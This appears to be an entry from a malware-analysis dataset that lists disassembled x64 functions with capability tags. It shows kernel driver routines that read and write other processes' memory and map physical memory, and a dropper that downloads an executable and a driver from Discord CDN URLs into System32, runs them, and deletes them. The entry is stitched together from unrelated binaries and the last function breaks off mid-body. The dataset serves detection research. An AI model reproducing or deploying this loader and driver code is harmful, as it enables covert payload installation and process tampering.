joyce8/EMBER2024-capa huggingface dataset:
Function at 0x140002eb0
Capabilities:
Create device object

Disassembly:
push rbx
sub rsp, 0x60
and qword [rsp + 0x78], 0
lea rdx, [0x140006310]
mov rbx, rcx
lea rcx, [rsp + 0x40]
call qword [sym.imp.ntoskrnl.exe_RtlInitUnicodeString]
mov r9d, 0x22
lea rax, [rsp + 0x78]
mov qword [rsp + 0x30], rax
lea r8, [rsp + 0x40]
mov byte [rsp + 0x28], 0
mov rcx, rbx
mov dword [rsp + 0x20], 0x100
lea edx, [r9 - 0x1a]
call qword [sym.imp.ntoskrnl.exe_IoCreateDevice]
mov ebx, eax
test eax, eax
jne 0x140002f2c
lea rdx, [0x140006340]
lea rcx, [rsp + 0x50]
call qword [sym.imp.ntoskrnl.exe_RtlInitUnicodeString]
lea rdx, [rsp + 0x40]
lea rcx, [rsp + 0x50]
call qword [sym.imp.ntoskrnl.exe_IoCreateSymbolicLink]
mov ebx, eax
jmp 0x140002f37
mov rcx, qword [rsp + 0x78]
call qword [sym.imp.ntoskrnl.exe_IoDeleteDevice]
mov eax, ebx
add rsp, 0x60
pop rbx
ret

Function at 0x140002fc4
Capabilities:
Attach user process memory

Disassembly:
mov qword [rsp + 0x20], r9
mov dword [rsp + 0x18], r8d
mov qword [rsp + 0x10], rdx
mov qword [rsp + 8], rcx
push rsi
push rdi
sub rsp, 0x78
mov rax, qword [0x140009620]
xor rax, rsp
mov qword [rsp + 0x60], rax
mov dword [rsp + 0x24], 0
lea rax, [rsp + 0x30]
mov rdi, rax
xor eax, eax
mov ecx, 0x30
rep stosb byte [rdi], al
mov eax, dword [rsp + 0xa0]
mov edx, eax
xor ecx, ecx
call qword [sym.imp.ntoskrnl.exe_ExAllocatePool]
mov qword [rsp + 0x28], rax
lea rdx, [rsp + 0x30]
mov rcx, qword [rsp + 0x90]
call qword [sym.imp.ntoskrnl.exe_KeStackAttachProcess]
mov rcx, qword [rsp + 0x98]
call qword [sym.imp.ntoskrnl.exe_MmIsAddressValid]
mov byte [rsp + 0x20], al
movzx eax, byte [rsp + 0x20]
test eax, eax
je 0x14000309b
mov rcx, qword [rsp + 0x98]
call fcn.140002fa8
mov byte [rsp + 0x21], al
movzx eax, byte [rsp + 0x21]
test eax, eax
je 0x140003091
mov eax, dword [rsp + 0xa0]
mov rdi, qword [rsp + 0x28]
mov rsi, qword [rsp + 0x98]
mov ecx, eax
rep movsb byte [rdi], byte [rsi]
mov dword [rsp + 0x24], 0
jmp 0x14000308f
jmp 0x140003099
mov dword [rsp + 0x24], 0xc0000001
jmp 0x1400030a3
mov dword [rsp + 0x24], 0xc0000001
lea rcx, [rsp + 0x30]
call qword [sym.imp.ntoskrnl.exe_KeUnstackDetachProcess]
mov eax, dword [rsp + 0xa0]
mov rdi, qword [rsp + 0xa8]
mov rsi, qword [rsp + 0x28]
mov ecx, eax
rep movsb byte [rdi], byte [rsi]
xor edx, edx
mov rcx, qword [rsp + 0x28]
call qword [sym.imp.ntoskrnl.exe_ExFreePoolWithTag]
mov eax, dword [rsp + 0x24]
mov rcx, qword [rsp + 0x60]
xor rcx, rsp
call fcn.140005510
add rsp, 0x78
pop rdi
pop rsi
ret
Function at 0x1400030ec
Capabilities:
Find process by pid

Disassembly:
mov dword [rsp + 0x20], r9d
mov qword [rsp + 0x18], r8
mov qword [rsp + 0x10], rdx
mov dword [rsp + 8], ecx
sub rsp, 0x38
mov dword [rsp + 0x20], 0
mov qword [rsp + 0x28], 0
mov eax, dword [rsp + 0x40]
lea rdx, [rsp + 0x28]
mov ecx, eax
call qword [sym.imp.ntoskrnl.exe_PsLookupProcessByProcessId]
mov dword [rsp + 0x20], eax
cmp dword [rsp + 0x20], 0
jne 0x140003158
mov r9, qword [rsp + 0x50]
mov r8d, dword [rsp + 0x58]
mov rdx, qword [rsp + 0x48]
mov rcx, qword [rsp + 0x28]
call fcn.140002fc4
mov dword [rsp + 0x20], eax
mov rcx, qword [rsp + 0x28]
call qword [sym.imp.ntoskrnl.exe_ObfDereferenceObject]
mov eax, dword [rsp + 0x20]
add rsp, 0x38
ret

Function at 0x140003290
Capabilities:
Find process by pid

Disassembly:
push rbx
sub rsp, 0x20
xor ebx, ebx
lea rdx, [rsp + 0x38]
mov qword [rsp + 0x38], rbx
call qword [sym.imp.ntoskrnl.exe_PsLookupProcessByProcessId]
test eax, eax
js 0x1400032c4
mov rcx, qword [rsp + 0x38]
call sub.ntoskrnl.exe_PsGetProcessImageFileName
mov rcx, qword [rsp + 0x38]
mov rbx, rax
call qword [sym.imp.ntoskrnl.exe_ObfDereferenceObject]
mov rax, rbx
add rsp, 0x20
pop rbx
ret

Function at 0x140003430
Capabilities:
Attach user process memory

Disassembly:
push rbx
push rbp
push rsi
push rdi
push r14
push r15
sub rsp, 0x78
mov rax, qword [0x140009620]
xor rax, rsp
mov qword [rsp + 0x60], rax
mov r14, rdx
mov r15d, r8d
xor edx, edx
mov rbp, rcx
lea rcx, [rsp + 0x30]
mov rbx, r9
lea r8d, [rdx + 0x30]
call fcn.140005a80
xor edi, edi
xor r9d, r9d
xor r8d, r8d
mov qword [rsp + 0x20], rdi
mov edx, r15d
mov rcx, rbx
call qword [sym.imp.ntoskrnl.exe_IoAllocateMdl]
mov rbx, rax
test rax, rax
je 0x1400034f7
mov rcx, rbx
call qword [sym.imp.ntoskrnl.exe_MmBuildMdlForNonPagedPool]
xor edx, edx
mov rcx, rbx
call qword [sym.imp.ntoskrnl.exe_MmMapLockedPages]
mov rsi, rax
test rax, rax
je 0x1400034eb
lea rdx, [rsp + 0x30]
mov rcx, rbp
call qword [sym.imp.ntoskrnl.exe_KeStackAttachProcess]
mov rcx, r14
call qword [sym.imp.ntoskrnl.exe_MmIsAddressValid]
mov bpl, al
test al, al
je 0x1400034d1
mov r8, r15
mov rdx, rsi
mov rcx, r14
call fcn.140005b80
lea rcx, [rsp + 0x30]
call qword [sym.imp.ntoskrnl.exe_KeUnstackDetachProcess]
mov rdx, rbx
mov rcx, rsi
call qword [sym.imp.ntoskrnl.exe_MmUnmapLockedPages]
mov dil, bpl
mov rcx, rbx
call qword [sym.imp.ntoskrnl.exe_IoFreeMdl]
mov al, dil
mov rcx, qword [rsp + 0x60]
xor rcx, rsp
call fcn.140005510
add rsp, 0x78
pop r15
pop r14
pop rdi
pop rsi
pop rbp
pop rbx
ret
Function at 0x140003514
Capabilities:
Find process by pid

Disassembly:
mov rax, rsp
mov qword [rax + 8], rbx
mov qword [rax + 0x10], rsi
push rdi
sub rsp, 0x30
and qword [rax - 0x18], 0
mov rsi, rdx
lea rdx, [rax - 0x18]
mov ecx, ecx
mov edi, r9d
mov rbx, r8
call qword [sym.imp.ntoskrnl.exe_PsLookupProcessByProcessId]
test eax, eax
jne 0x14000356a
mov rcx, qword [rsp + 0x20]
mov r9, rbx
mov r8d, edi
mov rdx, rsi
call fcn.140003430
mov rcx, qword [rsp + 0x20]
mov bl, al
call qword [sym.imp.ntoskrnl.exe_ObfDereferenceObject]
test bl, bl
je 0x14000356a
mov eax, edi
jmp 0x14000356c
xor eax, eax
mov rbx, qword [rsp + 0x40]
mov rsi, qword [rsp + 0x48]
add rsp, 0x30
pop rdi
ret

Function at 0x14000360c
Capabilities:
Attach user process memory

Disassembly:
push rbx
push rbp
push rsi
push rdi
push r12
push r14
push r15
sub rsp, 0x70
mov rax, qword [0x140009620]
xor rax, rsp
mov qword [rsp + 0x60], rax
mov ebp, r8d
mov r15, rdx
mov rbx, rcx
xor esi, esi
xor edx, edx
lea rcx, [rsp + 0x30]
mov r12, r9
xor edi, edi
lea r8d, [rsi + 0x30]
call fcn.140005a80
lea rdx, [rsp + 0x30]
mov rcx, rbx
call qword [sym.imp.ntoskrnl.exe_KeStackAttachProcess]
mov rcx, r15
call qword [sym.imp.ntoskrnl.exe_MmIsAddressValid]
mov r14b, al
test al, al
je 0x1400036b1
and qword [rsp + 0x20], rsi
xor r9d, r9d
xor r8d, r8d
mov edx, ebp
mov rcx, r15
call qword [sym.imp.ntoskrnl.exe_IoAllocateMdl]
mov rdi, rax
test rax, rax
jne 0x14000368a
xor al, al
jmp 0x1400036fa
mov rcx, rdi
call qword [sym.imp.ntoskrnl.exe_MmBuildMdlForNonPagedPool]
xor edx, edx
mov rcx, rdi
call qword [sym.imp.ntoskrnl.exe_MmMapLockedPages]
mov rsi, rax
test rax, rax
jne 0x1400036b1
mov rcx, rdi
call qword [sym.imp.ntoskrnl.exe_IoFreeMdl]
jmp 0x140003686
lea rcx, [rsp + 0x30]
call qword [sym.imp.ntoskrnl.exe_KeUnstackDetachProcess]
test rsi, rsi
je 0x1400036e9
call fcn.1400015e4
mov r8, rbp
mov rdx, r12
mov rcx, rsi
mov bl, al
call fcn.140005b80
mov cl, bl
call fcn.140001604
mov rdx, rdi
mov rcx, rsi
call qword [sym.imp.ntoskrnl.exe_MmUnmapLockedPages]
test rdi, rdi
je 0x1400036f7
mov rcx, rdi
call qword [sym.imp.ntoskrnl.exe_IoFreeMdl]
mov al, r14b
mov rcx, qword [rsp + 0x60]
xor rcx, rsp
call fcn.140005510
add rsp, 0x70
pop r15
pop r14
pop r12
pop rdi
pop rsi
pop rbp
pop rbx
ret
Function at 0x14000376c
Capabilities:
Attach user process memory

Disassembly:
push rbx
push rbp
push rsi
push rdi
push r14
push r15
sub rsp, 0x78
mov rax, qword [0x140009620]
xor rax, rsp
mov qword [rsp + 0x60], rax
mov r14, rdx
mov r15d, r8d
xor edx, edx
mov rbp, rcx
lea rcx, [rsp + 0x30]
mov rbx, r9
lea r8d, [rdx + 0x30]
call fcn.140005a80
xor edi, edi
xor r9d, r9d
xor r8d, r8d
mov qword [rsp + 0x20], rdi
mov edx, r15d
mov rcx, rbx
call qword [sym.imp.ntoskrnl.exe_IoAllocateMdl]
mov rbx, rax
test rax, rax
je 0x140003833
mov rcx, rbx
call qword [sym.imp.ntoskrnl.exe_MmBuildMdlForNonPagedPool]
xor edx, edx
mov rcx, rbx
call qword [sym.imp.ntoskrnl.exe_MmMapLockedPages]
mov rsi, rax
test rax, rax
je 0x140003827
lea rdx, [rsp + 0x30]
mov rcx, rbp
call qword [sym.imp.ntoskrnl.exe_KeStackAttachProcess]
mov rcx, r14
call qword [sym.imp.ntoskrnl.exe_MmIsAddressValid]
mov bpl, al
test al, al
je 0x14000380d
mov r8, r15
mov rdx, r14
mov rcx, rsi
call fcn.140005b80
lea rcx, [rsp + 0x30]
call qword [sym.imp.ntoskrnl.exe_KeUnstackDetachProcess]
mov rdx, rbx
mov rcx, rsi
call qword [sym.imp.ntoskrnl.exe_MmUnmapLockedPages]
mov dil, bpl
mov rcx, rbx
call qword [sym.imp.ntoskrnl.exe_IoFreeMdl]
mov al, dil
mov rcx, qword [rsp + 0x60]
xor rcx, rsp
call fcn.140005510
add rsp, 0x78
pop r15
pop r14
pop rdi
pop rsi
pop rbp
pop rbx
ret

Function at 0x140003850
Capabilities:
Find process by pid

Disassembly:
mov rax, rsp
mov qword [rax + 8], rbx
mov qword [rax + 0x10], rsi
push rdi
sub rsp, 0x30
and qword [rax - 0x18], 0
mov rsi, rdx
lea rdx, [rax - 0x18]
mov ecx, ecx
mov edi, r9d
mov rbx, r8
call qword [sym.imp.ntoskrnl.exe_PsLookupProcessByProcessId]
test eax, eax
jne 0x1400038a6
mov rcx, qword [rsp + 0x20]
mov r9, rbx
mov r8d, edi
mov rdx, rsi
call fcn.14000376c
mov rcx, qword [rsp + 0x20]
mov bl, al
call qword [sym.imp.ntoskrnl.exe_ObfDereferenceObject]
test bl, bl
je 0x1400038a6
mov eax, edi
jmp 0x1400038a8
xor eax, eax
mov rbx, qword [rsp + 0x40]
mov rsi, qword [rsp + 0x48]
add rsp, 0x30
pop rdi
ret

Function at 0x1400038b8
Capabilities:
Attach user process memory
Find process by pid

Disassembly:
mov qword [rsp + 0x18], rbx
push rsi
push rdi
push r14
sub rsp, 0x70
mov rax, qword [0x140009620]
xor rax, rsp
mov qword [rsp + 0x60], rax
mov r14, rdx
xor edi, edi
mov ebx, edi
mov qword [rsp + 0x28], rbx
mov esi, edi
lea rdx, [rsp + 0x20]
call qword [sym.imp.ntoskrnl.exe_PsLookupProcessByProcessId]
test eax, eax
jne 0x140003939
xor edx, edx
lea r8d, [rdi + 0x30]
lea rcx, [rsp + 0x30]
call fcn.140005a80
lea rdx, [rsp + 0x30]
mov rcx, qword [rsp + 0x20]
call qword [sym.imp.ntoskrnl.exe_KeStackAttachProcess]
nop
mov rcx, r14
call qword [sym.imp.ntoskrnl.exe_MmGetPhysicalAddress]
mov rbx, rax
mov qword [rsp + 0x28], rax
lea rcx, [rsp + 0x30]
call qword [sym.imp.ntoskrnl.exe_KeUnstackDetachProcess]
mov rcx, qword [rsp + 0x20]
call qword [sym.imp.ntoskrnl.exe_ObfDereferenceObject]
jmp 0x140003947
test esi, esi
cmove rdi, rbx
mov rax, rdi
mov rcx, qword [rsp + 0x60]
xor rcx, rsp
call fcn.140005510
mov rbx, qword [rsp + 0xa0]
add rsp, 0x70
pop r14
pop rdi
pop rsi
ret
Function at 0x140003a4c
Capabilities:
Map section object

Disassembly:
mov qword [rsp + 0x10], rbx
push rsi
push rdi
push r12
push r14
push r15
sub rsp, 0xb0
mov r12, r8
mov rdi, rdx
mov rsi, rcx
mov dword [rsp + 0x50], 0xc0000001
call fcn.140003ecc
cmp rsi, rax
ja 0x140003c3d
call fcn.140003ecc
lea rcx, [rsi + rdi]
cmp rcx, rax
ja 0x140003c3d
and qword [rsp + 0x20], 0
xor r9d, r9d
xor r8d, r8d
mov edx, edi
mov rcx, r12
call qword [sym.imp.ntoskrnl.exe_IoAllocateMdl]
mov rbx, rax
mov qword [rsp + 0xe0], rax
mov r15d, 1
mov r8d, r15d
xor edx, edx
mov rcx, rax
call qword [sym.imp.ntoskrnl.exe_MmProbeAndLockPages]
nop
lea rdx, [0x140006370]
lea rcx, [rsp + 0x70]
call qword [sym.imp.ntoskrnl.exe_RtlInitUnicodeString]
mov dword [rsp + 0x80], 0x30
and qword [rsp + 0x88], 0
mov dword [rsp + 0x98], 0x40
lea rax, [rsp + 0x70]
mov qword [rsp + 0x90], rax
xorps xmm0, xmm0
movdqu xmmword [rsp + 0xa0], xmm0
lea r8, [rsp + 0x80]
mov edx, 0xf001f
lea rcx, [rsp + 0x68]
call qword [sym.imp.ntoskrnl.exe_ZwOpenSection]
mov r14d, eax
mov dword [rsp + 0x50], eax
test eax, eax
jne 0x140003c02
mov qword [rsp + 0x60], rsi
mov ecx, 0x2000
mov qword [rsp + 0x58], rcx
and qword [rsp + 0xf8], 0
mov dword [rsp + 0x48], 4
and dword [rsp + 0x40], eax
mov dword [rsp + 0x38], r15d
lea rax, [rsp + 0x58]
mov qword [rsp + 0x30], rax
lea rax, [rsp + 0x60]
mov qword [rsp + 0x28], rax
mov qword [rsp + 0x20], rcx
xor r9d, r9d
lea r8, [rsp + 0xf8]
or rdx, 0xffffffffffffffff
mov rcx, qword [rsp + 0x68]
call qword [sym.imp.ntoskrnl.exe_ZwMapViewOfSection]
mov r14d, eax
mov dword [rsp + 0x50], eax
test eax, eax
jne 0x140003bf7
mov r15, qword [rsp + 0xf8]
test r15, r15
je 0x140003bf7
mov rdx, qword [rsp + 0x58]
cmp rdi, rdx
cmova rdi, rdx
test rdi, rdi
je 0x140003bf7
sub rsi, qword [rsp + 0x60]
lea rax, [rsi + rdi]
cmp rax, rdx
ja 0x140003bdb
lea rdx, [rsi + r15]
mov r8, rdi
mov rcx, r12
call fcn.140005b80
mov rdx, r15
or rcx, 0xffffffffffffffff
call qword [sym.imp.ntoskrnl.exe_ZwUnmapViewOfSection]
jmp 0x140003bf7
mov rcx, qword [rsp + 0x68]
call qword [sym.imp.ntoskrnl.exe_ZwClose]
jmp 0x140003c11
mov rcx, rbx
call qword [sym.imp.ntoskrnl.exe_MmUnlockPages]
mov rcx, rbx
call qword [sym.imp.ntoskrnl.exe_IoFreeMdl]
test r14d, r14d
sete al
jmp 0x140003c3f
xor al, al
mov rbx, qword [rsp + 0xe8]
add rsp, 0xb0
pop r15
pop r14
pop r12
pop rdi
pop rsi
ret
Function at 0x140003c8c
Capabilities:
Map section object

Disassembly:
mov rax, rsp
mov qword [rax + 0x10], rbx
mov qword [rax + 0x18], rsi
push rdi
push r14
push r15
sub rsp, 0xb0
mov r15, r8
mov rsi, rdx
mov r14, rcx
and qword [rax + 8], 0
mov dword [rax - 0x78], 0xc0000001
call fcn.140003ecc
cmp r14, rax
ja 0x140003eae
call fcn.140003ecc
lea rcx, [r14 + rsi]
cmp rcx, rax
ja 0x140003eae
and qword [rsp + 0x20], 0
xor r9d, r9d
xor r8d, r8d
mov edx, esi
mov rcx, r15
call qword [sym.imp.ntoskrnl.exe_IoAllocateMdl]
mov rbx, rax
mov qword [rsp + 0xe8], rax
xor edx, edx
lea r8d, [rdx + 1]
mov rcx, rax
call qword [sym.imp.ntoskrnl.exe_MmProbeAndLockPages]
nop
mov dword [rsp + 0x28], 0x10
and dword [rsp + 0x20], 0
xor r9d, r9d
xor edx, edx
lea r8d, [r9 + 1]
mov rcx, rbx
call qword [sym.imp.ntoskrnl.exe_MmMapLockedPagesSpecifyCache]
test rax, rax
je 0x140003eb0
lea rdx, [0x140006370]
lea rcx, [rsp + 0x70]
call qword [sym.imp.ntoskrnl.exe_RtlInitUnicodeString]
mov dword [rsp + 0x80], 0x30
and qword [rsp + 0x88], 0
mov dword [rsp + 0x98], 0x40
lea rax, [rsp + 0x70]
mov qword [rsp + 0x90], rax
xorps xmm0, xmm0
movdqu xmmword [rsp + 0xa0], xmm0
lea r8, [rsp + 0x80]
mov edx, 0xf001f
lea rcx, [rsp + 0x68]
call qword [sym.imp.ntoskrnl.exe_ZwOpenSection]
mov edi, eax
mov dword [rsp + 0x50], eax
test eax, eax
jne 0x140003e71
mov qword [rsp + 0x60], r14
mov ecx, 0x2000
mov qword [rsp + 0x58], rcx
and qword [rsp + 0xd0], 0
mov dword [rsp + 0x48], 4
and dword [rsp + 0x40], eax
mov dword [rsp + 0x38], 1
lea rax, [rsp + 0x58]
mov qword [rsp + 0x30], rax
lea rax, [rsp + 0x60]
mov qword [rsp + 0x28], rax
mov qword [rsp + 0x20], rcx
xor r9d, r9d
lea r8, [rsp + 0xd0]
or rdx, 0xffffffffffffffff
mov rcx, qword [rsp + 0x68]
call qword [sym.imp.ntoskrnl.exe_ZwMapViewOfSection]
mov edi, eax
mov dword [rsp + 0x50], eax
test eax, eax
jne 0x140003e66
mov rdx, qword [rsp + 0xd0]
test rdx, rdx
je 0x140003e66
mov r8, qword [rsp + 0x58]
cmp rsi, r8
cmova rsi, r8
test rsi, rsi
je 0x140003e66
sub r14, qword [rsp + 0x60]
lea rax, [r14 + rsi]
cmp rax, r8
ja 0x140003e4e
lea rcx, [r14 + rdx]
mov r8, rsi
mov rdx, r15
call fcn.140005b80
mov rdx, qword [rsp + 0xd0]
or rcx, 0xffffffffffffffff
call qword [sym.imp.ntoskrnl.exe_ZwUnmapViewOfSection]
jmp 0x140003e66
mov rcx, qword [rsp + 0x68]
call qword [sym.imp.ntoskrnl.exe_ZwClose]
jmp 0x140003e7f
mov rcx, rbx
call qword [sym.imp.ntoskrnl.exe_MmUnlockPages]
mov rcx, rbx
call qword [sym.imp.ntoskrnl.exe_IoFreeMdl]
test edi, edi
sete al
jmp 0x140003eb0
xor al, al
lea r11, [rsp + 0xb0]
mov rbx, qword [r11 + 0x28]
mov rsi, qword [r11 + 0x30]
mov rsp, r11
pop r15
pop r14
pop rdi
ret
Function at 0x1400111ef
Capabilities:
Terminate process

Disassembly:
jmp 0x140014fe0
mov qword [rsp + 8], rcx
sub rsp, 0x28
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_SetUnhandledExceptionFilter]
mov rcx, qword [rsp + 0x30]
call qword [sym.imp.KERNEL32.dll_UnhandledExceptionFilter]
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov edx, 0xc0000409
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_TerminateProcess]
add rsp, 0x28
ret

Function at 0x140011262
Capabilities:
Create process on windows
Delete file
Download url
Receive data

Disassembly:
jmp 0x1400117a0
push rbp
push rdi
sub rsp, 0xf8
lea rbp, [rsp + 0x30]
lea rcx, [0x1400230a0]
call fcn.140011366
mov qword [rsp + 0x20], 0
xor r9d, r9d
lea r8, str.C:WindowsSystem32drivload.exe
lea rdx, str.https:__cdn.discordapp.com_attachments_1197811643929866340_1203104279473426472_drivload.exe_ex65cfe12cis65bd6c2chmfa143667e9a0a233fb555b5097cb4d2e08defbc4839c4d2bf7d5b9cdb6300d20
xor ecx, ecx
call fcn.140011325
mov qword [rsp + 0x20], 0
xor r9d, r9d
lea r8, str.C:WindowsSystem32eternalpub.sys
lea rdx, str.https:__cdn.discordapp.com_attachments_1197811643929866340_1203121985056673864_eternalpub.sys_ex65cff1aais65bd7caahm943e0c97f8c1fb62ff1ee681aaffcd77313ee0cb40cd2187afd3a2c3f9dc50e9
xor ecx, ecx
call fcn.140011325
mov ecx, 0x1388
call qword [sym.imp.KERNEL32.dll_Sleep]
mov dword [rsp + 0x28], 1
mov qword [rsp + 0x20], 0
lea r9, str.C:WindowsSystem32eternalpub.sys
lea r8, str.C:WindowsSystem32drivload.exe
lea rdx, str.open
xor ecx, ecx
call qword [sym.imp.SHELL32.dll_ShellExecuteW]
mov ecx, 0x7d0
call qword [sym.imp.KERNEL32.dll_Sleep]
lea rcx, str.C:WindowsSystem32drivload.exe
call qword [sym.imp.KERNEL32.dll_DeleteFileW]
lea rcx, str.C:WindowsSystem32eternalpub.sys
call qword [sym.imp.KERNEL32.dll_DeleteFileW]
mov ecx, 0x7d0
call qword [sym.imp.KERNEL32.dll_Sleep]
xor eax, eax
lea rsp, [rbp + 0xc8]
pop rdi
pop rbp
ret

Function at 0x14001126c
Capabilities:
Parse pe header

Disassembly:
jmp 0x140012cf0
sub rsp, 0x38
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
mov qword [rsp + 0x20], rax
cmp qword [rsp + 0x20], 0
jne 0x140012d10
xor al, al
jmp 0x140012d91
mov rax, qword [rsp + 0x20]
movzx eax, word [rax]
cmp eax, 0x5a4d
je 0x140012d23
xor al, al
jmp 0x140012d91
mov rax, qword [rsp + 0x20]
movsxd rax, dword [rax + 0x3c]
mov rcx, qword [rsp + 0x20]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x28], rax
mov rax, qword [rsp + 0x28]
cmp dword [rax], 0x4550
je 0x140012d4d
xor al, al
jmp 0x140012d91
mov rax, qword [rsp + 0x28]
movzx eax, word [rax + 0x18]
cmp eax, 0x20b
je 0x140012d61
xor al, al
jmp 0x140012d91
mov rax, qword [rsp + 0x28]
cmp dword [rax + 0x84], 0xe
ja 0x140012d73
xor al, al
jmp 0x140012d91
mov eax, 8
imul rax, rax, 0xe
mov rcx, qword [rsp + 0x28]
cmp dword [rcx + rax + 0x88], 0
jne 0x140012d8f
xor al, al
jmp 0x140012d91
mov al, 1
add rsp, 0x38
ret
Function at 0x140001290
Capabilities:
Create thread

Disassembly:
mov qword [rsp + 0x10], rbp
mov qword [rsp + 0x18], rsi
push rdi
sub rsp, 0x30
mov rbp, rcx
lea rcx, [0x1400d5770]
mov rdi, r8
mov rsi, rdx
call qword [sym.imp.ntdll.dll_RtlInterlockedPopEntrySList]
test rax, rax
je 0x140001323
lock add dword [0x1400d5780], 0xffffffff
mov qword [rsp + 0x40], rbx
lea rbx, [rax + 0x10]
xor eax, eax
mov qword [rsp + 0x28], rax
lea r8, [0x140001220]
mov rdx, rbp
mov r9, rbx
xor ecx, ecx
mov qword [rbx], rsi
mov qword [rbx + 8], rdi
mov dword [rsp + 0x20], eax
call qword [sym.imp.KERNEL32.dll_CreateThread]
test rax, rax
jne 0x14000135f
mov eax, dword [0x1400d5784]
lea r8, [rbx - 0x10]
cmp dword [0x1400d5780], eax
jae 0x14000134e
lea rcx, [0x1400d5770]
mov rdx, r8
call qword [sym.imp.ntdll.dll_RtlInterlockedPushEntrySList]
lock add dword [0x1400d5780], 1
jmp 0x14000135d
mov r8, qword [0x1400d5788]
mov rcx, qword [0x1400d8fb0]
xor edx, edx
add r8, 0x10
call qword [sym.imp.ntdll.dll_RtlAllocateHeap]
test rax, rax
jne 0x1400012c2
mov ecx, 0xc000009a
call qword [sym.imp.ntdll.dll_RtlRaiseStatus]
int3
mov rcx, qword [0x1400d8fb0]
xor edx, edx
call qword [sym.imp.ntdll.dll_RtlFreeHeap]
xor eax, eax
mov rbx, qword [rsp + 0x40]
mov rbp, qword [rsp + 0x48]
mov rsi, qword [rsp + 0x50]
add rsp, 0x30
pop rdi
ret

Function at 0x1400015a0
Capabilities:
Allocate or change rwx memory

Disassembly:
mov qword [rsp + 8], rcx
push rbx
sub rsp, 0x30
mov rbx, rdx
lea r9, [rsp + 0x40]
lea rdx, [rsp + 0x50]
xor r8d, r8d
or rcx, 0xffffffffffffffff
mov dword [rsp + 0x28], 4
mov qword [rsp + 0x50], 0
mov dword [rsp + 0x20], 0x1000
call qword [sym.imp.ntdll.dll_NtAllocateVirtualMemory]
test eax, eax
js 0x1400015f9
test rbx, rbx
je 0x1400015ee
mov rax, qword [rsp + 0x40]
mov qword [rbx], rax
mov rax, qword [rsp + 0x50]
add rsp, 0x30
pop rbx
ret
xor eax, eax
add rsp, 0x30
pop rbx
ret

Function at 0x140003930
Capabilities:
Encode data using xor

Disassembly:
mov r9, rcx
mov r8d, edx
cmp edx, 4
jb 0x140003982
mov r10d, edx
shr r10, 2
nop word [rax + rax]
mov eax, dword [r9]
add r9, 4
add edx, 0xfffffffc
imul eax, eax, 0x5bd1e995
mov ecx, eax
shr ecx, 0x18
xor ecx, eax
mov eax, r8d
imul ecx, ecx, 0x5bd1e995
imul eax, eax, 0x5bd1e995
mov r8d, ecx
xor r8d, eax
sub r10, 1
jne 0x140003950
sub edx, 1
je 0x1400039a7
sub edx, 1
je 0x14000399c
cmp edx, 1
jne 0x1400039b5
movzx eax, byte [r9 + 2]
shl eax, 0x10
xor r8d, eax
movzx eax, byte [r9 + 1]
shl eax, 8
xor r8d, eax
movzx eax, byte [r9]
xor r8d, eax
imul r8d, r8d, 0x5bd1e995
mov ecx, r8d
shr ecx, 0xd
xor ecx, r8d
imul ecx, ecx, 0x5bd1e995
mov eax, ecx
shr eax, 0xf
xor eax, ecx
ret
Function at 0x140007530
Capabilities:
Get system information on windows
Make suspicious ntquerysysteminformation call

Disassembly:
push rbx
sub rsp, 0x30
mov r9d, 0x100000
xor ebx, ebx
xor edx, edx
mov r8, r9
mov ecx, 0x1002
mov qword [rsp + 0x28], rbx
mov qword [rsp + 0x20], rbx
call qword [sym.imp.ntdll.dll_RtlCreateHeap]
mov qword [0x1400d8fb0], rax
test rax, rax
jne 0x14000756f
mov eax, 0xc000009a
add rsp, 0x30
pop rbx
ret
mov rax, qword gs:[0x30]
mov rcx, qword [rax + 0x60]
mov rax, qword [rcx + 0x10]
mov qword [0x1400d8fa0], rax
call fcn.1400077f0
call fcn.14001e400
test al, al
jne 0x1400075a0
mov eax, 0xc0000001
add rsp, 0x30
pop rbx
ret
xor r9d, r9d
lea rdx, [0x1400d9000]
xor ecx, ecx
lea r8d, [r9 + 0x40]
mov qword [rsp + 0x40], rdi
call qword [sym.imp.ntdll.dll_NtQuerySystemInformation]
test eax, eax
jns 0x1400075d2
lea r8, str.Unable_to_query_basic_system_information._Some_functionality_may_not_work_as_expected.
mov edx, 0x30
xor ecx, ecx
call sym.ProcessHacker.exe_PhShowMessage
cmp byte [0x1400d9038], 1
mov eax, ebx
mov edi, 0xfa0
cmova eax, edi
lea rcx, [0x1400d8508]
mov edx, 0xf0003
xor r9d, r9d
xor r8d, r8d
mov dword [0x1400d5790], eax
call qword [sym.imp.ntdll.dll_NtCreateKeyedEvent]
test eax, eax
js 0x140007678
cmp byte [0x1400d9038], 1
mov eax, ebx
cmova eax, edi
mov dword [0x1400d8510], eax
call fcn.14001f680
test eax, eax
js 0x140007678
call section..text
test al, al
je 0x140007678
call fcn.140011d40
test al, al
je 0x140007678
lea r9, [0x140027410]
lea rdx, str.SymbolProvider
lea rcx, [0x1400d84c0]
xor r8d, r8d
call sym.ProcessHacker.exe_PhCreateObjectType
test eax, eax
js 0x140007678
mov qword [0x1400d8420], rbx
mov qword [0x1400d8478], rbx
call fcn.14000f7a0
call fcn.140007690
mov rdi, qword [rsp + 0x40]
xor eax, eax
add rsp, 0x30
pop rbx
ret
mov eax, 0xc0000001
mov rdi, qword [rsp + 0x40]
add rsp, 0x30
pop rbx
ret
Function at 0x1400077f0
Capabilities:
Check os version

Disassembly:
sub rsp, 0x148
lea rcx, [rsp + 0x20]
mov dword [rsp + 0x20], 0x11c
call qword [sym.imp.ntdll.dll_RtlGetVersion]
test eax, eax
jns 0x140007833
lea r8, str.Unable_to_determine_the_Windows_version._Some_functionality_may_not_work_as_expected.
mov edx, 0x30
xor ecx, ecx
call sym.ProcessHacker.exe_PhShowMessage
mov dword [0x1400d8fc0], 0x7fffffff
add rsp, 0x148
ret
lea rcx, [0x1400d9060]
lea rdx, [rsp + 0x20]
mov r8d, 0x11c
call fcn.140094930
mov r11d, dword [rsp + 0x24]
cmp r11d, 5
jne 0x1400078b5
mov eax, dword [rsp + 0x28]
cmp eax, 1
jb 0x1400078b7
jne 0x1400078a4
mov dword [0x1400d8fc0], 0x33
mov dword [0x1400d8fbc], 0x400
mov dword [0x1400d9048], 0x1f0fff
mov dword [0x1400d8ff4], 0x40
mov dword [0x1400d8fe4], 0x20
mov dword [0x1400d8fe0], 0x1f03ff
add rsp, 0x148
ret
cmp eax, 2
